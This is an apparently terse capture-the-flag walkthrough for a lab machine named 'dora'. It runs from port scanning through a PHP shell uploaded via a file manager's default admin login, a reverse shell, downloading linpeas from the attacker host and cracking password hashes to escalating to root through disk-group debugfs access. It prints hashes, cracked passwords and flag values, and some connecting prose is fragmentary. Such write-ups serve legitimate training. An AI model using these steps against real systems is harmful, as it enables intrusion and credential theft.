

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.214.16 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.214.16:22
Open 192.168.214.16:80

PORT    STATE SERVICE REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` buster
```

```
(kali㉿kali)-[~/pgplay]
└─$ gobuster dir -u http://192.168.214.16 -w /home/kali/SecLists/Discovery/Web-Content/common.txt

=====
/.hta (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/filemanager (Status: 301) [Size: 322] [--> http://192.168.214.16/filemanager/]
/index.php (Status: 302) [Size: 0] [--> http://192.168.214.16/wp-admin/setup-config.php]
/server-status (Status: 403) [Size: 279]
/wordpress (Status: 301) [Size: 320] [--> http://192.168.214.16/wordpress/]
/wp-content (Status: 301) [Size: 321] [--> http://192.168.214.16/wp-content/]
/wp-includes (Status: 301) [Size: 322] [--> http://192.168.214.16/wp-includes/]
/wp-admin (Status: 301) [Size: 319] [--> http://192.168.214.16/wp-admin/]
/xmlrpc.php (Status: 302) [Size: 0] [--> http://192.168.214.16/wp-admin/setup-config.php]
Progress: 4727 / 4727 (100.00%)
``` Check http://192.168.214.16/filemanager/ then use admin/adminlogin, upload shell.php Go to
192.168.214.16/shell.php shell
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp80

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@dora:/$
``` `linpeas.sh`, Check `/var/www/html/filemanager/config/.htusers.php` dora's password
```

```
www-data@dora:/tmp$ wget 192.168.45.211:8000/linpeas.sh
www-data@dora:/tmp$ chmod +x linpeas.sh
www-data@dora:/tmp$./linpeas.sh
```

```
=====|| All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)
-rw----- 1 root root 0 Mar 8 2023 /snap/core20/1852/etc/.pwd.lock
-rw-r--r-- 1 root root 220 Feb 25 2020 /snap/core20/1852/etc/skel/.bash_logout
-rw----- 1 root root 0 Aug 5 2022 /snap/core20/1611/etc/.pwd.lock
-rw-r--r-- 1 root root 220 Feb 25 2020 /snap/core20/1611/etc/skel/.bash_logout
-rw-r--r-- 1 dora dora 220 Feb 25 2020 /home/dora/.bash_logout
-rw-r--r-- 1 root root 220 Feb 25 2020 /etc/skel/.bash_logout
-rw----- 1 root root 0 Aug 31 2022 /etc/.pwd.lock
-rw----- 1 root root 0 Mar 22 19:49 /run/snapd/lock/lock
-rw-r--r-- 1 root root 20 Mar 22 19:49 /run/cloud-init/.instance-id
-rw-r--r-- 1 root root 2 Apr 10 03:26 /run/cloud-init/.ds-identify.result
-rw-r--r-- 1 landscape landscape 0 Aug 31 2022 /var/lib/landscape/.cleanup.user
-rw-r--r-- 1 www-data www-data 89 Nov 12 2020 /var/www/html/wp-content/themes/twentytwentyone/.stylelintignore
-rw-r--r-- 1 www-data www-data 689 May 24 2021 /var/www/html/wp-content/themes/twentytwentyone/.stylelintintrc-css.json
-rw-r--r-- 1 www-data www-data 425 May 24 2021 /var/www/html/wp-content/themes/twentytwentyone/.stylelintintrc.json
-rw-r--r-- 1 www-data www-data 654 Jul 26 2022 /var/www/html/wp-content/plugins/akismet/.htaccess
-rw-r--r-- 1 www-data www-data 413 Apr 6 2023 /var/www/html/filemanager/config/.htusers.php
...
```

```
www-data@dora:/var/www/html/filemanager/config$ cat .htusers.php
<?php
// ensure this file is being included by a parent file
```

```

if(!defined('_JEXEC') && !defined('_VALID_MOS')) die('Restricted access');
$GLOBALS["users"]=array(
array('admin','21232f297a57a5a743894a0e4a801fc3','/var/www/html','http://localhost','1','','7',1),
array('dora','$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS','/var/www/html','http://localhost','1','','0',1),
);
``` get dora's password doraemon,dora

```

```

└─(kali㉿kali)-[~/pgplay]
└─$ john dora --wordlist=/home/kali/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 256 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
doraemon          (?)

?>www-data@dora:/var/www/html/filemanager/config$ su dora
Password: doraemon

$ whoami
dora
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
dora@dora:/var/www/html/filemanager/config$
``` linpeasdora`disk`

```

```

===== All users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon[0m] gid=1(daemon[0m] groups=1(daemon[0m]
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=1000(dora) gid=1000(dora) groups=1000(dora),6(disk)
``` Search Disk group privilege escalation \(https://vk9-sec.com/disk-group-privilege-escalation/\),/root/.sshid_rsa,shadow

```

```
dora@dora:/$ df -h
df -h
Filesystem                                Size  Used Avail Use% Mounted on
/dev/mapper/ubuntu--vg-ubuntu--lv        9.8G  5.1G  4.3G  55% /
udev                                      947M    0  947M   0% /dev
tmpfs                                      992M    0  992M   0% /dev/shm
tmpfs                                      199M  1.2M  198M   1% /run
tmpfs                                      5.0M    0   5.0M   0% /run/lock
tmpfs                                      992M    0  992M   0% /sys/fs/cgroup
/dev/loop1                                92M   92M    0 100% /snap/lxd/24061
/dev/sda2                                1.7G  209M  1.4G  13% /boot
/dev/loop0                                62M   62M    0 100% /snap/core20/1611
/dev/loop2                                50M   50M    0 100% /snap/snapd/18596
/dev/loop3                                64M   64M    0 100% /snap/core20/1852
/dev/loop4                                68M   68M    0 100% /snap/lxd/22753
tmpfs                                      199M    0  199M   0% /run/user/1000

dora@dora:/$ debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
debugfs 1.45.5 (07-Jan-2020)
debugfs: cd /etc
debugfs: cat shadow
root:$6$AIWcIr8PEVxEWgv1$3mFpTQAc9Kzp4BGUQ2sPYYFE/dyggqDiv2Yw.XcU.Q8n1Y005.a/4.D/x4ojQAKPnv/v7Qrw7Ici7.hs0
sZiC.:19453:0:99999:7:::
daemon*:19235:0:99999:7:::
bin*:19235:0:99999:7:::
sys*:19235:0:99999:7:::
sync*:19235:0:99999:7:::
games*:19235:0:99999:7:::
man*:19235:0:99999:7:::
lp*:19235:0:99999:7:::
mail*:19235:0:99999:7:::
news*:19235:0:99999:7:::
uucp*:19235:0:99999:7:::
proxy*:19235:0:99999:7:::
www-data*:19235:0:99999:7:::
backup*:19235:0:99999:7:::
list*:19235:0:99999:7:::
irc*:19235:0:99999:7:::
gnats*:19235:0:99999:7:::
nobody*:19235:0:99999:7:::
systemd-network*:19235:0:99999:7:::
systemd-resolve*:19235:0:99999:7:::
systemd-timesync*:19235:0:99999:7:::
messagebus*:19235:0:99999:7:::
syslog*:19235:0:99999:7:::
_apt*:19235:0:99999:7:::
tss*:19235:0:99999:7:::
uidd*:19235:0:99999:7:::
tcpdump*:19235:0:99999:7:::
landscape*:19235:0:99999:7:::
pollinate*:19235:0:99999:7:::
usbmux*:19381:0:99999:7:::
sshd*:19381:0:99999:7:::
systemd-coredump:!:19381:!:!:!:
lxd:!:19381:!:!:!:
fwupd-refresh*:19381:0:99999:7:::
dora:$6$PkzB/mtNayFM5eVp$b6LU19HBQaOqbTehc6/LEk8DC2NegpqftuDDAvOk20c6yf3dFo0esC0vOoNWHqvzF0aEb3jxk39sQ/S4v
GoGm/:19453:0:99999:7:::
``` canroot's password,root,get proof.txt in /root,`/home/dora`local.txt

```

```
└─(kali㉿kali)-[~/pgplay]
```

```
└─$ john root --wordlist=/home/kali/rockyou.txt
```

Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"

Use the "--format=HMAC-SHA256" option to force loading these as that type instead

Using default input encoding: UTF-8

Loaded 1 password hash (sha512crypt, crypt(3) \$6\$ [SHA512 128/128 AVX 2x])

Cost 1 (iteration count) is 5000 for all loaded hashes

Will run 4 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
explorer (?)

dora@dora:/\$ su root  
Password: explorer

root@dora:~# cat proof.txt  
cat proof.txt  
c30caf8ae1254d43a3d2e036daece7a3

root@dora:/home/dora# cat local.txt  
85741fbbab2734481dfccd8089158dd0

---